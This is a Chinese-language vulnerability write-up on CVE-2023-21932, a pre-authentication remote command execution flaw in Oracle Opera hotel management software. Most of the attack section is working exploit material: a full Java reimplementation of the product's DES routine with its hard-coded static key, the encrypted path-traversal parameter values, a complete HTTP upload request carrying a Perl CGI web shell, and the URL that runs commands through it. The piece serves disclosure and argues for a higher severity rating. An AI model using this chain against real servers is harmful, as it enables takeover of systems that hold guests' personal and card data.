本文为“代码审计”相关领域,阅读本文大概需10分钟。
背景介绍:
如果你在酒店行业工作,很可能已经见过或使用过 Oracle Opera,全球几乎所有最大的酒店/度假村连锁店都使用该软件,这个重要的软件包含了每位客人的所有 PII,包括但不限于信用卡详细信息。
通过对该软件的源代码分析,我们能够通过利用文件上传 servlet 中的操作顺序错误来实现预身份验证远程命令执行, Oracle 目前已发布关键补丁更新并将该漏洞分配编号 CVE-2023-21932。
遗憾的是,国外白帽不同意 Oracle 对这个漏洞的分类“难以利用的漏洞……”因此本文将说明为什么这个 CVE 应该被指定为 10.0 而不是 7.2 的评级,尽管 Oracle 声称,此漏洞不需要任何身份验证即可利用。
发现:
第一次遇到目标是在 2022 年参加一场现场黑客活动时,目标是美国最大的度假村之一,Oracle Opera 的登录页面就成功引起了白帽子的注意,因为它看起来就像是一些 90 年代的残存软件:
鉴于该软件的专业性,它可能没有引起安全研究人员社区的太多关注, Jackson T 在 2016 年发现了 Oracle Opera 中的最后一个主要严重漏洞,后被安全客社区拓展分析。
https://jackson_t.gitlab.io/oracle-opera.html
https://www.anquanke.com/post/id/85180
获得这个软件并不困难。该软件的最新版本可在 Oracle 的下载中心轻松获得,在以普通用户身份进行身份验证后即可访问,获得安装文件不需要许可证或销售电话。
分析:
在 operainternalservlets.war 中,白帽子找到了 FileReceiver 端点的 servlet 映射:
此映射关联回 com.micros.opera.servlet.FileReceiver ,后者负责接收文件并将其上传到系统。
文件接收端点将以下参数作为输入:
String filename = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("filename"));
String crc = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("crc"));
String append = SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("append"));
String jndiname = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("jndiname")));
String username = DES.decrypt(SanitizeParameters.sanitizeServletParamOrUrlString(request.getParameter("username")));
通过以上代码你能发现漏洞吗?这是一个经典的操作顺序错误,上面的代码为 jndiname 和username 参数清理加密的有效负载,然后对其进行解密,这应该是相反的顺序,以使其有效。使用上面的代码,这两个变量可以包含我们想要的任何Payloads,而无需进行任何清理。
然后将这些参数传递给以下函数:
if (!Utility.isFileInWhiteList(jndiname, this.formsConfigIAS, username, filename, this.log)) {
success = false;
errorText = "Access denied to " + filename;
}
查看 Utility.isFileInWhiteList 函数,可以看到以下逻辑:
private static final String[] envVars = new String[] { "EXPORTDIR", "REPORTS_TMP", "WEBTEMP" };
public static boolean isFileInWhiteList(String jndiName, String formsConfigIAS, String schemaName, String fileName, OperaLogger log) {
if (log == null)
log = GenUtils.getServletLogger("Utility");
boolean ret = false;
try {
String envFilename = getIASEnvironmentFileName(jndiName, formsConfigIAS);
log.finer("Env File Name [" + envFilename + "] for JNDI [" + jndiName + "]");
if (envFilename != null && (new File(envFilename)).exists()) {
Properties iasprop = getPropertiesFromFile(envFilename);
if (iasprop != null)
for (String envVar : envVars) {
ret = isAllowedPath(iasprop.getProperty(envVar), schemaName, fileName);
if (ret)
break;
}
} else {
log.severe("Environment file [" + envFilename + "] not found for JNDI [" + jndiName + "]");
}
} catch (Exception exception) {}
return ret;
}`
上述函数中用户可控的值为 jndiName 和 schemaName ,如前所述,我们能够控制 schemaName 并且不会对此变量清理。
可以在 isAllowedPath 函数中找到构建和检查路径的逻辑:
`public static boolean isAllowedPath(String sourcePath, String schemaName, String fileName) {
boolean ret = false;
try {
if (sourcePath != null && sourcePath.length() > 0 && schemaName != null && schemaName.length() > 0 && fileName != null && fileName.length() > 0) {
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
String adjustedFileName = (new File(fileName)).getCanonicalPath().toUpperCase();
if (adjustedFileName.startsWith(adjustedSourcePath)) {
ret = true;
} else {
throw new Exception("File[" + adjustedFileName + "] is not allowed at[" + adjustedSourcePath + "]");
}
} else {
throw new Exception("Either path, schema or filename is null");
}
} catch (Exception e) {
e.printStackTrace();
}
return ret;
}
同样,在此函数中,我们可以控制 schemaName 和 fileName ,由于控制了 schemaName ,并在其中进行了路径遍历,所以可以将adjustedSourcePath的值设置为 D:\
String adjustedSourcePath = (new File(sourcePath + File.separator + schemaName)).getCanonicalPath().toUpperCase();
其中 schemaName = "foo/../../../../../"
所以 adjustedSourcePath = "D:\" ,我们的 fileName 可以是 D:\ 中的任何文件,并且允许我们将任意文件写入 D:\ 。
虽然上面描述了任意文件上传到任何位置的漏洞,但没有解释如何实现预授权命令执行,有两个主要程序可以阻止利用上述漏洞,第一个是能够加密有效字符串,第二个是 JNDI 连接名称。
幸运的是,这两个阻碍因素都可以轻松解决,JNDI连接名可以通过访问以下网址获取:
https://example.com/Operajserv/OXIServlets/CRSStatus?info=true
https://example.com/Operajserv/OXIServlets/BEInterface?info=true
https://example.com/Operajserv/OXIServlets/ExportReceiver?info=true
JNDI 名称将由这些 servlet 显示,无需任何身份验证即可访问,现在已经获得了 JNDI 名称,我们可以继续处理加密元素,因为需要向 FileReceiver servlet 提供加密字符串以实现预身份验证 RCE。
通过分析发现 Oracle Opera 使用了静态密钥来加密字符串,因此能够重新创建他们的加密过程,并将其重新用于加密任意字符串,这是利用该漏洞所必需的。详见下方代码:
public class Main {
private static final boolean DECRYPT = false;
private static final boolean ENCRYPT = true;
public static final int ECB = 0;
public static final int CBC = 1;
private static final String SK = "bf70460e1fd03bfd";
public static String toHex(String text) {
String result = "";
for (int i = 0; i < text.length(); i++) {
String hexValue = Integer.toHexString(text.charAt(i));
if (hexValue.length() == 1)
hexValue = "0" + hexValue;
result = result + hexValue;
}
return result;
}
public static String fromHex(String text) {
String result = "";
for (int i = 0; i < text.length(); i += 2) {
char c;
String hexValue = text.substring(i, i + 2);
try {
c = (char)Integer.parseInt(hexValue, 16);
} catch (Exception e) {
c = '*';
}
result = result + c;
}
return result;
}
private int[] createKeys(String key) {
int[][] pc2bytes = {
{
0, 4, 536870912, 536870916, 65536, 65540, 536936448, 536936452, 512, 516,
536871424, 536871428, 66048, 66052, 536936960, 536936964 }, {
0, 1, 1048576, 1048577, 67108864, 67108865, 68157440, 68157441, 256, 257,
1048832, 1048833, 67109120, 67109121, 68157696, 68157697 }, {
0, 8, 2048, 2056, 16777216, 16777224, 16779264, 16779272, 0, 8,
2048, 2056, 16777216, 16777224, 16779264, 16779272 }, {
0, 2097152, 134217728, 136314880, 8192, 2105344, 134225920, 136323072, 131072, 2228224,
134348800, 136445952, 139264, 2236416, 134356992, 136454144 }, {
0, 262144, 16, 262160, 0, 262144, 16, 262160, 4096, 266240,
4112, 266256, 4096, 266240, 4112, 266256 }, {
0, 1024, 32, 1056, 0, 1024, 32, 1056, 33554432, 33555456,
33554464, 33555488, 33554432, 33555456, 33554464, 33555488 }, {
0, 268435456, 524288, 268959744, 2, 268435458, 524290, 268959746, 0, 268435456,
524288, 268959744, 2, 268435458, 524290, 268959746 }, {
0, 65536, 2048, 67584, 536870912, 536936448, 536872960, 536938496, 131072, 196608,
133120, 198656, 537001984, 537067520, 537004032, 537069568 }, {
0, 262144, 0, 262144, 2, 262146, 2, 262146, 33554432, 33816576,
33554432, 33816576, 33554434, 33816578, 33554434, 33816578 }, {
0, 268435456, 8, 268435464, 0, 268435456, 8, 268435464, 1024, 268436480,
1032, 268436488, 1024, 268436480, 1032, 268436488 },
{
0, 32, 0, 32, 1048576, 1048608, 1048576, 1048608, 8192, 8224,
8192, 8224, 1056768, 1056800, 1056768, 1056800 }, {
0, 16777216, 512, 16777728, 2097152, 18874368, 2097664, 18874880, 67108864, 83886080,
67109376, 83886592, 69206016, 85983232, 69206528, 85983744 }, {
0, 4096, 134217728, 134221824, 524288, 528384, 134742016, 134746112, 16, 4112,
134217744, 134221840, 524304, 528400, 134742032, 134746128 }, {
0, 4, 256, 260, 0, 4, 256, 260, 1, 5,
257, 261, 1, 5, 257, 261 } };
int iterations = (key.length() >= 24) ? 3 : 1;
int[] keys = new int[32 * iterations];
boolean[] shifts = {
false, false, true, true, true, true, true, true, false, true,
true, true, true, true, true, false };
int m = 0, n = 0;
for (int j = 0; j < iterations; j++) {
int left = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);
int right = key.charAt(m++) << 24 | key.charAt(m++) << 16 | key.charAt(m++) << 8 | key.charAt(m++);
int temp = (left >>> 4 ^ right) & 0xF0F0F0F;
right ^= temp;
left ^= temp << 4;
temp = (right >>> -16 ^ left) & 0xFFFF;
left ^= temp;
right ^= temp << -16;
temp = (left >>> 2 ^ right) & 0x33333333;
right ^= temp;
left ^= temp << 2;
temp = (right >>> -16 ^ left) & 0xFFFF;
left ^= temp;
right ^= temp << -16;
temp = (left >>> 1 ^ right) & 0x55555555;
right ^= temp;
left ^= temp << 1;
temp = (right >>> 8 ^ left) & 0xFF00FF;
left ^= temp;
right ^= temp << 8;
temp = (left >>> 1 ^ right) & 0x55555555;
right ^= temp;
left ^= temp << 1;
temp = left << 8 | right >>> 20 & 0xF0;
left = right << 24 | right << 8 & 0xFF0000 | right >>> 8 & 0xFF00 | right >>> 24 & 0xF0;
right = temp;
for (int i = 0; i < shifts.length; i++) {
if (shifts[i]) {
left = left << 2 | left >>> 26;
right = right << 2 | right >>> 26;
} else {
left = left << 1 | left >>> 27;
right = right << 1 | right >>> 27;
}
left &= 0xFFFFFFF0;
right &= 0xFFFFFFF0;
int lefttemp = pc2bytes[0][left >>> 28] | pc2bytes[1][left >>> 24 & 0xF] | pc2bytes[2][left >>> 20 & 0xF] | pc2bytes[3][left >>> 16 & 0xF] | pc2bytes[4][left >>> 12 & 0xF] | pc2bytes[5][left >>> 8 & 0xF] | pc2bytes[6][left >>> 4 & 0xF];
int righttemp = pc2bytes[7][right >>> 28] | pc2bytes[8][right >>> 24 & 0xF] | pc2bytes[9][right >>> 20 & 0xF] | pc2bytes[10][right >>> 16 & 0xF] | pc2bytes[11][right >>> 12 & 0xF] | pc2bytes[12][right >>> 8 & 0xF] | pc2bytes[13][right >>> 4 & 0xF];
temp = (righttemp >>> 16 ^ lefttemp) & 0xFFFF;
keys[n++] = lefttemp ^ temp;
keys[n++] = righttemp ^ temp << 16;
}
}
return keys;
}
private String[] des(String key, String message, boolean encrypt, int mode, String iv) {
int looping[], iterations, spfunction[][] = { {
16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536, 1024, 16843776,
16843780, 1024, 16778244, 16842756, 16777216, 4, 1028, 16778240, 16778240, 66560,
66560, 16842752, 16842752, 16778244, 65540, 16777220, 16777220, 65540, 0, 1028,
66564, 16777216, 65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024,
16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564, 16843780, 65540,
16842752, 16778244, 16777220, 1028, 66564, 16843776, 1028, 16778240, 16778240, 0,
65540, 66560, 0, 16842756 }, {
-2146402272, -2147450880, 32768, 1081376, 1048576, 32, -2146435040, -2147450848, -2147483616, -2146402272,
-2146402304, Integer.MIN_VALUE, -2147450880, 1048576, 32, -2146435040, 1081344, 1048608, -2147450848, 0,
Integer.MIN_VALUE, 32768, 1081376, -2146435072, 1048608, -2147483616, 0, 1081344, 32800, -2146402304,
-2146435072, 32800, 0, 1081376, -2146435040, 1048576, -2147450848, -2146435072, -2146402304, 32768,
-2146435072, -2147450880, 32, -2146402272, 1081376, 32, 32768, Integer.MIN_VALUE, 32800, -2146402304,
1048576, -2147483616, 1048608, -2147450848, -2147483616, 1048608, 1081344, 0, -2147450880, 32800,
Integer.MIN_VALUE, -2146435040, -2146402272, 1081344 }, {
520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240, 131080, 134217736,
134217736, 131072, 134349320, 131080, 134348800, 520, 134217728, 8, 134349312, 512,
131584, 134348800, 134348808, 131592, 134218248, 131584, 131072, 134218248, 8, 134349320,
512, 134217728, 134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0,
512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808, 134218248, 131072,
134217728, 134349320, 8, 131592, 131584, 134217736, 134348800, 134218248, 520, 134348800,
131592, 8, 134348808, 131584 }, {
8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193, 0, 8396800,
8396800, 8396929, 129, 0, 8388736, 8388609, 1, 8192, 8388608, 8396801,
128, 8388608, 8193, 8320, 8388737, 1, 8320, 8388736, 8192, 8396928,
8396929, 129, 8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800,
8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128, 8396929, 129,
1, 8192, 8388609, 8193, 8396928, 8388737, 8193, 8320, 8388608, 8396801,
128, 8388608, 8192, 8396928 }, {
256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720, 1074266368, 524288,
33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824, 33554432, 1074266112, 1074266112, 0,
1073742080, 1107820800, 1107820800, 33554688, 1107820544, 1073742080, 0, 1107296256, 34078976, 33554432,
1107296256, 524544, 524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368,
33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544, 1107820800, 524544,
1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256, 524544, 33554688, 1073742080, 524288,
0, 1074266112, 34078976, 1073742080 }, {
536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304, 536887296, 4210704,
4194304, 536870928, 4194320, 536887296, 536870912, 16400, 0, 4194320, 536887312, 16384,
4210688, 536887312, 16, 541065232, 541065232, 0, 4210704, 541081600, 16400, 4210688,
541081600, 536870912, 536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928,
4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216, 4210704, 541081600,
0, 541065232, 16, 16384, 541065216, 4210704, 16384, 4194320, 536887312, 0,
541081600, 536870912, 4194320, 536887312 }, {
2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064, 69208066, 2097152,
0, 67108866, 2, 67108864, 69206018, 2050, 67110912, 2099202, 2097154, 67110912,
67108866, 69206016, 69208064, 2097154, 69206016, 2048, 2050, 69208066, 2099200, 2,
67108864, 2099200, 67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2,
2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064, 2050, 67108866,
69208066, 69206016, 2099200, 0, 2, 69208066, 0, 2099202, 69206016, 2048,
67108866, 67110912, 2048, 2097154 }, {
268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456, 262208, 268697600,
268701760, 266240, 268701696, 266304, 4096, 64, 268697600, 268435520, 268439552, 4160,
266240, 262208, 268697664, 268701696, 4160, 0, 0, 268697664, 268435520, 268439552,
266304, 262144, 266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304,
268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616, 0, 268701760,
262208, 268435520, 268697600, 268439552, 268439616, 0, 268701760, 266240, 266240, 4160,
4160, 262208, 268435456, 268701696 } };
for (; key.length() < 8; key = key + key);
if (mode == 1)
for (; iv.length() < 8; iv = iv + iv);
int[] keys = createKeys(key);
int m = 0;
int cbcleft = 0, cbcleft2 = 0, cbcright = 0, cbcright2 = 0, chunk = 0;
int tempcount = 0;
int len = 8 - message.length() % 8;
if (len == 8)
len = 0;
int i;
for (i = 0; i < len; i++)
message = message + "\000";
len = message.length();
i = (len > 505) ? 2 : 1;
String[] result = new String[message.length() / 8 + i];
for (i = 0; i < result.length; ) {
result[i] = "";
i++;
}
if (keys.length == 32) {
iterations = 3;
} else {
iterations = 9;
}
if (iterations == 3) {
looping = new int[3];
if (encrypt) {
looping[0] = 0;
looping[1] = 32;
looping[2] = 2;
} else {
looping[0] = 30;
looping[1] = -2;
looping[2] = -2;
}
} else {
looping = new int[9];
if (encrypt) {
looping[0] = 0;
looping[1] = 32;
looping[2] = 2;
looping[3] = 62;
looping[4] = 30;
looping[5] = -2;
looping[6] = 64;
looping[7] = 96;
looping[8] = 2;
} else {
looping[0] = 94;
looping[1] = 62;
looping[2] = -2;
looping[3] = 32;
looping[4] = 64;
looping[5] = 2;
looping[6] = 30;
looping[7] = -2;
looping[8] = -2;
}
}
if (mode == 1) {
cbcleft = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);
cbcright = iv.charAt(m++) << 24 | iv.charAt(m++) << 16 | iv.charAt(m++) << 8 | iv.charAt(m++);
m = 0;
}
while (m < len) {
int left = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);
int right = message.charAt(m++) << 24 | message.charAt(m++) << 16 | message.charAt(m++) << 8 | message.charAt(m++);
if (mode == 1)
if (encrypt) {
left ^= cbcleft;
right ^= cbcright;
} else {
cbcleft2 = cbcleft;
cbcright2 = cbcright;
cbcleft = left;
cbcright = right;
}
int temp = (left >>> 4 ^ right) & 0xF0F0F0F;
right ^= temp;
left ^= temp << 4;
temp = (left >>> 16 ^ right) & 0xFFFF;
right ^= temp;
left ^= temp << 16;
temp = (right >>> 2 ^ left) & 0x33333333;
left ^= temp;
right ^= temp << 2;
temp = (right >>> 8 ^ left) & 0xFF00FF;
left ^= temp;
right ^= temp << 8;
temp = (left >>> 1 ^ right) & 0x55555555;
right ^= temp;
left ^= temp << 1;
left = left << 1 | left >>> 31;
right = right << 1 | right >>> 31;
for (int j = 0; j < iterations; j += 3) {
int endloop = looping[j + 1];
int loopinc = looping[j + 2];
for (i = looping[j]; i != endloop; i += loopinc) {
int right1 = right ^ keys[i];
int right2 = (right >>> 4 | right << 28) ^ keys[i + 1];
temp = left;
left = right;
right = temp ^ (spfunction[1][right1 >>> 24 & 0x3F] | spfunction[3][right1 >>> 16 & 0x3F] | spfunction[5][right1 >>> 8 & 0x3F] | spfunction[7][right1 & 0x3F] | spfunction[0][right2 >>> 24 & 0x3F] | spfunction[2][right2 >>> 16 & 0x3F] | spfunction[4][right2 >>> 8 & 0x3F] | spfunction[6][right2 & 0x3F]);
}
temp = left;
left = right;
right = temp;
}
left = left >>> 1 | left << 31;
right = right >>> 1 | right << 31;
temp = (left >>> 1 ^ right) & 0x55555555;
right ^= temp;
left ^= temp << 1;
temp = (right >>> 8 ^ left) & 0xFF00FF;
left ^= temp;
right ^= temp << 8;
temp = (right >>> 2 ^ left) & 0x33333333;
left ^= temp;
right ^= temp << 2;
temp = (left >>> 16 ^ right) & 0xFFFF;
right ^= temp;
left ^= temp << 16;
temp = (left >>> 4 ^ right) & 0xF0F0F0F;
right ^= temp;
left ^= temp << 4;
if (mode == 1)
if (encrypt) {
cbcleft = left;
cbcright = right;
} else {
left ^= cbcleft2;
right ^= cbcright2;
}
result[result.length - 1] = result[result.length - 1] + (char)(left >>> 24);
result[result.length - 1] = result[result.length - 1] + (char)(left >>> 16 & 0xFF);
result[result.length - 1] = result[result.length - 1] + (char)(left >>> 8 & 0xFF);
result[result.length - 1] = result[result.length - 1] + (char)(left & 0xFF);
result[result.length - 1] = result[result.length - 1] + (char)(right >>> 24);
result[result.length - 1] = result[result.length - 1] + (char)(right >>> 16 & 0xFF);
result[result.length - 1] = result[result.length - 1] + (char)(right >>> 8 & 0xFF);
result[result.length - 1] = result[result.length - 1] + (char)(right & 0xFF);
result[tempcount++] = result[result.length - 1];
chunk += 8;
if (chunk == 512) {
result[result.length - 1] = result[result.length - 1] + result[tempcount++];
chunk = 0;
}
}
if (!encrypt)
result[result.length - 1] = result[result.length - 1].trim();
return result;
}
public String desEncrypt(String key, String message, int mode, String iv) {
String[] result = des(key, message, true, mode, iv);
return result[result.length - 1];
}
public String[] desEncryptStep(String key, String message, int mode, String iv) {
return des(key, message, true, mode, iv);
}
public String desDecrypt(String key, String message, int mode, String iv) {
String[] result = des(key, message, false, mode, iv);
return result[result.length - 1];
}
public String[] desDecryptStep(String key, String message, int mode, String iv) {
return des(key, message, false, mode, iv);
}
public static String encrypt(String msg) {
String ret = "";
Main des = new Main();
if (msg != null && msg.length() != 0)
ret = toHex(des.desEncrypt("bf70460e1fd03bfd", msg, 0, ""));
return ret;
}
public static String decrypt(String msg) {
String ret = "";
Main des = new Main();
if (msg != null && msg.length() != 0)
ret = des.desDecrypt("bf70460e1fd03bfd", fromHex(msg), 0, "");
return ret;
}
public static String encrypt(String key, String msg, int mode, String iv) {
String ret = "";
Main des = new Main();
if (msg != null && msg.length() != 0)
ret = toHex(des.desEncrypt(key, msg, mode, iv));
return ret;
}
public static String decrypt(String key, String msg, int mode, String iv) {
String ret = "";
Main des = new Main();
if (msg != null && msg.length() != 0)
ret = des.desDecrypt(key, fromHex(msg), mode, iv);
return ret;
}
public static void main(String args[]) {
// jndi name
System.out.println(encrypt("oxiopradigds"));
// username
System.out.println(encrypt("foo/../../../../../"));
}
}
运行上方代码将会输出以下内容:
java -classpath .:/run_dir/junit-4.12.jar:target/dependency/* Main
// jndi name
0c919bc95270f6921e102ab8ae52e497
// username (with path traversal)
f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25
用于将任意文件上传到 D:\ 目录的最终Payload可以在下面找到,此 HTTP 请求会将 CGI web shell 上传到本地文件系统:
POST /Operajserv/webarchive/FileReceiver?filename=D:\MICROS\opera\operaias\cgi-bin\80088941a432b4458e492b7686a88da6.cgi&crc=588&trace=ON©toexpdir=1&jndiname=0c919bc95270f6921e102ab8ae52e497&username=f56ade9e2d01a95d782dc04e5fa4481309a563c219036e25&append=1 HTTP/1.1
Host: example.com
User-Agent: curl/7.79.1
Accept: */*
Content-Length: 588
Content-Type: multipart/form-data; boundary=------------------------e58fd172ced7d9dc
Connection: close
#!\ORA\MWFR\11gappr2\perl\bin\perl.exe
use strict;
print "Cache-Control: no-cache\n";
print "Content-type: text/html\n\n";
my $req = $ENV{QUERY_STRING};
chomp ($req);
$req =~ s/%20/ /g;
$req =~ s/%3b/;/g;
print "<html><body>";
print '<!-- Simple CGI backdoor by DK (http://michaeldaw.org) -->';
if (!$req) {
print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd";
}
else {
print "Executing: $req";
}
print "<pre>";
my @cmd = `$req`;
print "</pre>";
foreach my $line (@cmd) {
print $line . "<br/>";
}
print "</body></html>";
Web Shell 可在以下位置访问:
https://example.com/operabin/80088941a432b4458e492b7686a88da6.cgi?type%20C:\Windows\win.ini
如上所述,无需任何特殊访问或授权即可进行 RCE,利用此漏洞执行的所有步骤均未进行任何身份验证,此漏洞的 CVSS 评分应为 10.0。
当然,Oracle Opera 中还有大量的其它漏洞,其中一些目前仍未解决。所以请永远不要将其暴露在互联网上。
以上研究由 Shubham Shah、Sean Yeoh、Brendan Scarvell 和 Jason Haddix 共同完成。希望你能有所收获!